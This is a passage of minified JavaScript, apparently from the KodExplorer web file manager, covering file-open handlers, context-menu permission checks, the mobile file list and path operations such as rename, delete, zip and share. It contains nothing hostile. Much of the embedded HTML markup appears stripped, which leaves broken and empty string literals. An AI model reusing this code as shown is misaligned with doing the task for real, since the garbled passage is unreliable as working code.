a=G.appHost+"pluginApp/index&search="+core.pathExt(e),i="kodApp.open(pathHashDecode('"+pathHashEncode(e)+"'),false,'appOpenSetting');",n="kodApp.open(pathHashDecode('"+pathHashEncode(e)+"'),false,'aceEditor');",o="kodApp.download(pathHashDecode('"+pathHashEncode(e)+"'));",s="core.openWindow('"+a+"');",r=LNG.unknow_file_try+'
        '+LNG.unknow_file_tips+"
        "+t+'
        2.'+r+n+'">'+LNG["Explorer.UI.openWithText"]+'
        3.'+r+o+'">'+LNG.unknow_file_download+'
        '+r+s+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
        ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:l,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(e){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(e)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(t){if(e(t)){var a=t;"http"!=t.substr(0,4)&&(a=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(t),G.sharePage!==void 0&&(a=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(t))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(a):$('').appendTo("body")}}}),kodApp.download=function(e){kodApp.open(e,"","download")},kodApp.openWindow=function(e){kodApp.open(e,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(t){if(e(t)){var a=core.path2url(t);isWap()?window.location.href=a:window.open(a)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(e,t){$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(e,t){core.fileGet(e,function(a){if("url"==t){var i=a.match(/URL=(.*)/);if(i.length>=2)return window.open(i[1])}else if("webloc"==t)try{var n=$($.parseXML(a)),o=n.find("string").text();return window.open(o),void 0}catch(s){}kodApp.open(e,t,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(e){var t=core.path2url(e);core.openDialog(t,core.icon("html"),core.pathThis(e))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(e,t){var a=core.path2url(e),i="pdf"+UUID(),n='";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:"80%",height:"75%",padding:0,content:n}),PDFObject.embed(a,"#"+i)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(e){core.fileGet(e,function(t){var a=jsonDecode(t);a.name=core.pathThis(e),core.openApp(a)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(e){core.fileGet(e,function(t){var a=jsonDecode(t);a.name=core.pathThis(e),a.path=e,ui.path.pathOperate.appEdit(a)})}});var t={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(t,".menu-body-main",".app-install"),$.contextMenu.menuAdd(t,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(t,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(e,t,a){var i=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(a.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),a.removeClass("menu-auto-fit"),a.inScreen()||a.addClass("menu-auto-fit"),".menu-body-main"==e){var n=a.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?n.removeClass("hidden"):n.addClass("hidden")}if(_.include(i,e)){var o="disabled",s=".cute,.rname,.remove",r=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";t.hasClass("file-not-readable")?a.find(r).addClass(o):a.find(r).removeClass(o),t.hasClass("file-not-writeable")?a.find(s).addClass(o):a.find(s).removeClass(o)}}),Hook.bind("rightMenu.show.menu-body-main",function(e,t){var a=".upload,.past,.newfolder,.newfile",i="disabled";_.get(G,"jsonData.info.canUpload")?t.find(a).removeClass(i):t.find(a).addClass(i)}),Hook.bind("rightMenu.show.menu-file",function(e,t){if($(".context-menu-active").hasClass("menu-tree-file"))var a=ui.tree.makeParam();else var a=ui.path.makeParam();var i=core.pathExt(a.path),n="hidden";inArray(["jpg","jpeg","png"],i)?t.find(".set-background").removeClass(n):t.find(".set-background").addClass(n)});var a=function(){var e=".close-item,.refresh,.newfile,.past,.info",t=".open-browser",a=".explorer,.create-project,.open-project",i=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",n=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",o=$(".menu-tool-path"),s="disabled",r=ui.fileLight.fileListSelect();o.find(".context-menu-item").addClass(s),0==r.length?o.find(e).removeClass(s):1==r.length?(o.find(".context-menu-item").removeClass(s),"folder"==ui.fileLight.type(r)?o.find(t).addClass(s):o.find(a).addClass(s)):r.length>1&&o.find(i).removeClass(s),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&o.find(n).filter(":not(."+s+")").addClass(s)};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){a(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){a()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var e="hidden";if(core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),$(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open-text").addClass(e),$(".pathinfo .open-window").addClass(e),$(".context-menu-list .open-browser").addClass(e)),core.authCheck("explorer.search")||$(".context-menu-list .search").addClass(e),core.authCheck("explorer.mkdir")||$(".context-menu-list .newfolder").addClass(e),core.authCheck("userShare.set")||$(".context-menu-list .share").remove(),core.authCheck("explorer.mkfile")||$(".context-menu-list .newfile,.tool-path-newfile").addClass(e),core.authCheck("explorer.mkdir")||$(".context-menu-list .newfolder,[data-action=newfolder]").addClass(e),core.authCheck("explorer.pathCopy")||($(".context-menu-list .cute").addClass(e),$(".context-menu-list .copy").addClass(e)),!core.authCheck("explorer.fileUpload")){$(".context-menu-list .upload").addClass(e);var t=$("[data-action=upload-more]");t.exists()&&t.parent().addClass(e)}}})}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n {{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n"),define("app/src/explorerWap/ui",[],function(e){var t=e("./tpl/list.html"),a=function(){var e=$(".bodymain");e.find(".lazyload-ready").lazyload({effect:"fadeIn",placeholder:G.staticPath+"images/common/loading_tree.gif",container:e,load:function(){$(this).removeClass("lazyload-ready")}}),n(),Hook.trigger("explorer.path.ajaxLive")},i=function(e,t){var t="down"==t?-1:1;return function(a,i){return a=a[e],i=i[e],i>a?-1*t:a>i?1*t:void 0}},n=function(){$(".file-continer .flex-empty").remove();for(var e="",t=0;10>t;t++)e+='
        ';$(e).appendTo(".file-continer")},o=function(e){template.helper("fileIconMake",s);for(var i=template.compile(t),n="",o=G.jsonData.folderList.concat(G.jsonData.fileList),r=0;o.length>r;r++){var l="folder"==o[r].type?"list-folder":"list-file",c={LNG:LNG,G:G,list:o[r],index:r,type:l};n+=i(c)}""==n&&(n='
        '+LNG.path_null+"
        "),n+="
        ",e?$(Config.FileBoxSelector).hide().html(n).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(n);var d=$(Config.FileBoxClass).not(".systemBox");$('').appendTo(d),$(Config.FileBoxSelector+" .file:nth-child(2n)").addClass("file2"),a()},s=function(e,t,a){var i="icon"!=t;if("folder"==e){var n=Hook.trigger("explorer.list.folderThumb",a.path,a.ext);return"string"==$.type(n)?n:(e=a.ext||e,core.icon(e,i))}var n=Hook.trigger("explorer.list.fileThumb",a.path,a.ext);if("string"==$.type(n))return n;if(inArray(["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],a.ext)){var o=G.appHost+"explorer/image&path=";return G.sid&&(o=G.appHost+"share/image&user="+G.user+"&sid="+G.sid+"&path="),"
        "}if("app_link"==a.type){var s=core.icon("folder");0==a.content.search("ui.path.open")?s=core.icon(core.pathExt(a.name.replace(".oexe",""))):0==a.content.search("ui.path.list")&&(s=core.icon(a.icon));var r="
        "+s+"
        ";return r+""}if(a.icon&&"oexe"==a.ext){var l=a.icon;return"string"==$.type(a.icon)&&-1==a.icon.search(G.staticPath)&&"http"!=a.icon.substring(0,4)&&(l=G.staticPath+"images/file_icon/icon_app/"+a.icon),"
        "+core.iconSrc(l)+"
        "}return"
        "+core.icon(a.ext,i)+"
        "},r=function(e,t){var a=G.appHost+"explorer/pathList&path="+urlEncode(G.thisPath);G.user&&(a=G.appHost+"share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(G.thisPath)),void 0==e&&(e=!0),void 0==t&&(t=!1),e?$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(100)},success:function(e){return $(".tools-left .msg").fadeOut(100),e.code?(G.jsonData=c(e.data),o(t),m(),ui.header.addressSet(),void 0):(Tips.tips(e),$(Config.FileBoxSelector).html(""),!1)},error:function(e,t,a){$(".tools-left .msg").fadeOut(100),$(Config.FileBoxSelector).html(""),core.ajaxError(e,t,a)}}):(o(t),m())},l=function(e){r(!0,!1,e)},c=function(e){e=d(e);var t=e.folderList,a=e.fileList;return t=t.sort(i("name","up")),a=a.sort(i("name","up")),e.folderList=t,e.fileList=a,e},d=function(e){if(!e)return e;if(void 0!=e.shareList&&(selfShare=e.shareList),e.filterSuccess===!0)return e;for(var t in e)if("fileList"==t||"folderList"==t)for(var a=0;e[t].length>a;a++){var i=e[t][a];if(i.name=htmlEncode(i.name),i.mtime&&11>=(""+i.mtime).length)if(i.atime=date(LNG.time_type,i.atime),i.ctime=date(LNG.time_type,i.ctime),e.info&&e.info.pathType==G.KOD_USER_SHARE&&-1==trim(e.thisPath,"/").indexOf("/")){var n=parseInt(i.numView);n=isNaN(n)?0:n;var o=parseInt(i.numDownload);o=isNaN(o)?0:o;var s=date("Y/m/d ",i.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,i.mtime=s}else i.mtime=date(LNG.time_type,i.mtime);"number"==typeof i.isReadable&&0==i.isReadable?i.mode="["+LNG.not_read+"] "+i.mode:"number"==typeof i.isWriteable&&1==i.isWriteable?i.mode="["+LNG.system_role_write+"] "+i.mode:"number"==typeof i.isReadable&&1==i.isReadable&&(i.mode="["+LNG.only_read+"] "+i.mode)}return e.filterSuccess=!0,e},p=function(e,t){var a=pathHashDecode(e.attr("data-path")),i=e.find(".ico").attr("filetype");switch(t){case"action-copy":ui.path.copy(a,i);break;case"action-rname":ui.path.rname(a);break;case"action-info":ui.path.info(a,i);break;case"action-download":ui.path.download(a,i);break;case"action-remove":ui.path.remove(a,i);break;default:}},u=function(){1==LocalData.get("wrap-file-list")&&($(".btn-list-icon").addClass("active"),$(".file-list-list").addClass("icon")),$(".btn-list-icon").click(function(){$(this).toggleClass("active"),$(".file-list-list").toggleClass("icon"),$(this).hasClass("active")?LocalData.set("wrap-file-list",1):LocalData.set("wrap-file-list",0)})},f=function(e){var t=$(".file-continer .file .file-action-menu"),a=$(".file-continer").hasClass("icon");if(e)t.removeClass("hidden"),a?t.css({bottom:"-"+t.height()+"px"}).animate({bottom:"0px"},100,0,function(){}):t.css({opacity:"0"}).animate({opacity:"1"},100,0,function(){});else{var i={opacity:"0"};a&&(i={bottom:"-"+t.height()+"px"}),t.animate(i,100,0,function(){$(this).remove()})}},h=function(){$(window).bind("hashchange",function(){var e=window.location.href,t=e.split("#");t[1]&&"undefined%2F"!=t[1]&&""!=t[1]&&t[1]!=G.thisPath&&t[1]!=urlEncode(G.thisPath)&&ui.path.list(urlDecode(t[1]))}),$(window).bind("resize",function(){b()}),u(),$(".file-continer .file").die("click").live("click",function(e){if(f(!1),$(this).find(".file-action-menu").exists()){if($(e.target).hasClass("action-menu"))var t=$(e.target).attr("data-action");if($(e.target).parent().hasClass("action-menu"))var t=$(e.target).parent().attr("data-action");return p($(this),t),void 0}if($(e.target).hasClass("file-action")){var a=$(".file-menu .file-action-menu").clone(),i=!0;return $(e.target).parent().hasClass("file-not-writeable")?i=!1:G.jsonData.info&&G.jsonData.info.canUpload||(i=!1),i||(a.find("[data-action=action-remove]").remove(),a.find("[data-action=action-rname]").remove()),a.appendTo($(this)),f(!0),void 0}var n=$(this).find(".ico").attr("filetype"),o=pathHashDecode($(this).attr("data-path"));ui.path.open(o,n,$(this)),stopPP(e)}),$(".address li").die("click").live("click",function(e){var t=$(this).find("a").attr("data-path");ui.path.list(t),stopPP(e)}),$("body").bind("click",function(e){$(e.target).parents(".file-continer").exists()||f(!1)})},m=function(){if(G.jsonData.info){var e=G.jsonData.info,t=e.pathType,a=G.jsonData.pathReadWrite;void 0!=a&&"writeable"!=a||t==G.KOD_USER_RECYCLE||t==G.KOD_USER_SHARE||t==G.KOD_GROUP_SHARE?G.jsonData.info.canUpload=!1:(G.jsonData.info.canUpload=!0,1!=G.isRoot&&t==G.KOD_GROUP_PATH&&"guest"==e.role&&(G.jsonData.info.canUpload=!1)),core.isSystemPath(G.thisPath)?$(".toolbar-menu").addClass("hidden"):$(".toolbar-menu").removeClass("hidden"),G.jsonData.info.canUpload?$("[data-action=upload],[data-action=newfolder],[data-action=newfile],[data-action=past]").removeClass("hidden"):$("[data-action=upload],[data-action=newfolder],[data-action=newfile],[data-action=past]").addClass("hidden")}},v=function(e){e?($(".panel-menu").show().animate({left:"0px"},200,function(){$("body").addClass("menu-open")}),$(".panel-mask").hide().fadeIn(200)):($(".panel-menu").animate({left:"-210px"},200,function(){$(".panel-menu").hide(),$("body").removeClass("menu-open")}),$(".panel-mask").show().fadeOut(200))},g=function(){$.ajax({url:G.appHost+"explorer/treeList&app=explorer&type=init",dataType:"json",success:function(e){e.code||Tips.tips(e);for(var t="",a=0;e.data.length>a;a++){var i=e.data[a];t+='
      • '+i.name+"
      • "}t+='
      • '+LNG.ui_logout+"
      • ",$(".left-menu-path").html(t),$(".panel-menu li").bind("click",function(){v(!1); -var e=$(this).attr("data-action"),t=$(this).attr("data-path");setTimeout(function(){switch(e){case"open-path":ui.path.list(t);break;case"exit":window.location.href=G.appHost+"user/logout";break;default:}},20)})}})},b=function(){var e=$(".address"),t=$(window).width(),a=0;e.stop(!0,!0),e.find(".yarnlet").each(function(){a+=$(this).outerWidth()+8});var i=t-a;i>=0&&(i=0),e.css("width","100%").animate({left:i+"px"},150)};return{f5:r,f5Callback:l,init:function(){if(""==G.thisPath){var e=window.location.href.split("#");if(2==e.length&&""!=trim(urlDecode(e[1])))G.thisPath=urlDecode(e[1]);else{var t=G.userID||G.sid,a=LocalData.get("thisPath:"+t);G.thisPath=a?a:G.myhome}}l(function(){r(!1,!0)}),g(),h(),ui.header.bindEvent()},header:{bindEvent:function(){$(".tool-menu-left").on("click",function(){v(!0)}),$(".panel-mask").on("click",function(){v(!1)}),$(".tool-menu-right li").on("click",function(){$(".toolbar-menu").removeClass("open");var e=$(this).attr("data-action");switch(e){case"upload":core.upload(),setTimeout(function(){$("#picker .webuploader-element-invisible").click()},100);break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"search":ui.path.search("",G.thisPath);break;case"past":ui.path.past();break;default:}return!1}),G.shareInfo&&G.shareInfo.canUpload&&$("[data-action=upload]").removeClass("hidden")},addressSet:function(){var e=G.thisPath,t=function(e){var t='
      • {$3}
      • ',a='
      • {$3}
      • ';e=e.replace(/\/+/g,"/");var i=e.split("/");""==i[i.length-1]&&i.pop();var n=i[0]+"/",o=t.replace(/@1@/g,n),s=i[0],r="";if(G.jsonData.info&&G.jsonData.info.pathType&&""!=i[0]){var l=core.getPathIcon(G.jsonData.info,G.jsonData.info.name);r=''+core.iconSmall(l.icon)+"",s=l.name}o=o.replace("{$2}",i.length),o=o.replace("{$3}",r+''+htmlEncode(s)+"");for(var c=o,d=1,p=i.length-1;i.length>d;d++,p--){n+=htmlEncode(i[d])+"/";var o=a.replace(/@1@/g,n);o=o.replace("{$2}",p),o=o.replace("{$3}",''+htmlEncode(urlDecode(i[d]))+""),c+=o}return c};$(".frame-main .address ul").html(t(e)),""==$(".yarnlet.first .title-name").html()&&$(".yarnlet.first .title-name").html("/"),b();var a=$(".yarnball .yarnlet").last().find(".title-name").text();$("title").html(a+LNG.kod_power_by)},gotoPath:function(){var e=$("input.path").val();e=e.replace(/\\/g,"/"),$("input.path").val(e),"/"!=e.substr(e.length-1,1)&&(e+="/"),ui.path.list(e),ui.header.addressSet()}}}}),define("app/src/explorerWap/tpl/list.html",[],"\n{{if type=='list-folder'}}\n
        \n
        \n {{fileIconMake('folder','list',list)}}\n {{if list.metaInfo}} \n
        {{list.metaInfo |kod.core.icon}}
        \n {{/if}}\n
        \n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
        \n \n
        \n
        {{list.mtime?list.mtime:''}}
        \n
        \n
        \n\n\n{{else if type=='list-file'}}\n
        \n {{fileIconMake('file','list',list)}}\n {{if list.metaInfo}}\n
        {{list.metaInfo |kod.core.icon}}
        \n {{/if}}\n\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
        \n \n
        {{list.size |pathTools.fileSize}}
        \n
        {{list.mtime}}
        \n
        \n
        \n{{/if}}\n"),define("app/src/explorerWap/path",["../../path/pathOperate","../../path/clipboard","../../path/search"],function(e){var t=e("../../path/pathOperate"),a=e("../../path/clipboard"),n=e("../../path/search"),o=function(e,t,a){if(void 0!=e){if(e==G.thisPath)return void 0!=t&&""!=t&&Tips.tips(LNG.path_is_current,"info"),void 0;"undefined/"==e&&(e=G.myhome),G.thisPath=e.replace(/\\/g,"/"),G.thisPath=e.replace(/\/+/g,"/"),"/"!=G.thisPath.substr(G.thisPath.length-1)&&(G.thisPath+="/");var i=window.location.origin+window.location.pathname+window.location.search;window.location.href=i+"#"+urlEncode(G.thisPath),ui.f5Callback(function(){"function"==typeof a&&a()})}},s=function(e,t,a){void 0!=e&&("folder"==t?ui.path.list(e+"/"):(kodApp.setLastOpenTarget(a),kodApp.open(e,t),l()))},r=function(){kodApp.setOpenUserLocal(!1,"photoSwipe"),kodApp.setOpenUserLocal(["html","htm"],"browserOpen"),kodApp.openUnknow=function(e,t){void 0==t&&(t="");var a="kodApp.open(pathHashDecode('"+pathHashEncode(e)+"'),false,'browserOpen');",i="kodApp.download(pathHashDecode('"+pathHashEncode(e)+"'));",n=LNG.unknow_file_try+'
        '+LNG.unknow_file_tips+"
        "+t+'
        2.'+n+i+'">'+LNG.unknow_file_download+"
        ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:o,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(e){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(e)})}},l=function(){if($(".artDialog").exists()){var e=$(".artDialog").data().artDialog;if(e.hasFrame()){$(".artDialog").addClass("hidden");var t=e.DOM.wrap.find("iframe").attr("src");e.close(),window.location.href=t}}},c=function(e,t,a){var n=e.length;for(i=0;n>i;i++)if(e[i][t]==a)return e[i]},d=function(e){var t="",a=0;return null!=G.jsonData.fileList&&(t=c(G.jsonData.fileList,"name",e),null!=t&&(a=1)),null!=G.jsonData.folderList&&(t=c(G.jsonData.folderList,"name",e),null!=t&&(a=1)),a},p=function(e,t){var a,i=0;if(void 0==t){if(!d(e))return e;for(a=e+"(0)";d(a);)i++,a=e+"("+i+")";return a}if(!d(e+"."+t))return e+"."+t;for(a=e+"(0)."+t;d(a);)i++,a=e+"("+i+")."+t;return a},u=function(){$.dialog.prompt("",function(e){t.newFolder(G.thisPath+e,function(){ui.f5()})},p("folder"))},f=function(){$.dialog.prompt("",function(e){t.newFile(G.thisPath+e,function(){ui.f5()})},p("file","txt")),m($(".prompt-input input"))},h=function(e){$.dialog.prompt("",function(a){var i=core.pathFather(e)+a;t.rname(e,i,function(){ui.f5()})},core.pathThis(e)),m($(".prompt-input input"))},m=function(e){setTimeout(function(){var t=e.val();e.blur(),-1==t.lastIndexOf(".")?e.textSelect(0,t.length):e.textSelect(0,t.lastIndexOf("."))},100)},v=function(e,t,a){return"folder"!=a&&(a="file"),e?[{path:t,type:a}]:{path:t,type:a}};return{init:r,search:n,pathOperate:t,download:function(e,a){"folder"==a?t.zipDownload([{path:e,type:"folder"}]):kodApp.download(e)},remove:function(e,a){t.remove(v(!0,e,a),ui.f5)},info:function(e,a){t.info(v(!0,e,a))},copy:function(e,t){a.copy(v(!0,e,t))},cute:function(e,t){a.cute(v(!0,e,t),ui.f5)},past:function(){a.past(G.thisPath,ui.f5)},open:s,list:o,newFolder:u,newFile:f,rname:h}}),define("app/path/pathOperate",[],function(e){tplFileInfo=e("./tpl/fileinfo/fileInfo.html"),tplPathInfo=e("./tpl/fileinfo/pathInfo.html");var t=["/","\\",":","*","?",'"',"<",">","|"],a=["/","\\"],i=function(e){var i=function(e,t){for(var a=t.length,i=0;a>i;i++)if(e.indexOf(t[i])>0)return!0;return!1},n=a;return G.systemOS&&"windows"==G.systemOS&&(n=t),i(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var t=[],a=function(e){return e?e.replace(/"/g,'\\\\"'):e},i=0;e.length>i;i++)t.push({type:a(e[i].type),path:urlEncode(a(e[i].path))});return"dataArr="+jsonEncode(t)},o=function(e,t){if(e){var a=core.pathThis(e);return i(a)?($.ajax({dataType:"json",url:G.appHost+"explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},s=function(e,t){if(e){var a=core.pathThis(e);return i(a)?($.ajax({dataType:"json",url:G.appHost+"explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},r=function(e,t,a){return e&&t&&e!=t?i(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:G.appHost+"explorer/pathRname",data:"path="+urlEncode(e)+"&rnameTo="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof a&&(e&&e.info?a(e.info):a(!1))}}),void 0):("function"==typeof a&&a(),void 0):void 0},l=function(e,t,a,i){if(a=void 0==a?!1:a,i=void 0==i?!1:i,window.event&&window.event.shiftKey&&(i=!0),!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r=G.appHost+"explorer/pathDelete",l=n(e);if("share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r=G.appHost+"userShare/del"),i&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle-clear"==e[0].type||G.USER_RECYCLE&&G.thisPath==G.USER_RECYCLE||G.thisPath==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r=G.appHost+"explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle-clear"==e[0].type&&(l="postEmpty=1")),e[0]&&e[0].path){var c=""+htmlEncode(core.pathThis(e[0].path))+"";s=e.length>1?c+' ... '+e.length+LNG.remove_item+"
        "+s:c+"
        "+s}var d=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(a){if(Tips.close(a),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.selfShare=a.info;var i=$.dialog.list["share-dialog"];void 0!=i&&i.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(a)}})};a?d():$.dialog({id:"dialog-path-remove",fixed:!0,icon:"question",title:o,padding:"40px 40px",lock:!0,background:"#000",opacity:.1,content:"
        "+s+"
        ",ok:d,cancel:!0})}},c=function(e){if(core.authCheck("explorer.fileDownload",!0)&&!(1>e.length)){var t=G.appHost+"explorer/zipDownload";G.sharePage!==void 0&&(t=G.appHost+"share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t=G.appHost+"explorer/fileDownloadRemove&path="+urlEncode(e.info);t+="&accessToken="+G.accessToken,G.sharePage!==void 0&&(t=G.appHost+"share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},d=function(e,t,a){1>e.length||(a||(a="zip"),$.ajax({url:G.appHost+"explorer/zip&fileType="+a,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},p=function(e,t,a){if(e){var i=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n=G.appHost+"explorer/unzip&path="+urlEncode(e);"toThis"==a&&(n+="&toThis=1"),"toFolder"==a?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&pathTo="+e,i(n)}):i(n)}},u=function(e){var t=e.path,a=core.pathPre(t);if(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE||a==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_share,"warning"),void 0;var i="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare.set",!0)&&$.ajax({url:G.appHost+"userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)f(e.data);else{G.selfShare=e.info;var a={path:t,type:i,name:core.pathThis(t)};h(a,function(e){e.code?(G.selfShare=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content-info input[name=type]").val(i),$(".content-info input[name=path]").val(t),$(".content-info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==i&&($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden"))}))})}}})},f=function(t,a){0!=$(".share-dialog").length&&$(".share-dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=a&&a()})},h=function(e,t){$.ajax({url:G.appHost+"userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share-create-button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share-create-button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var a=e("./tpl/share.html"),i=template.compile(a),n=i({LNG:LNG});$.dialog({id:"share-dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share-time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share-time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share-setting-more").addClass("hidden"),void 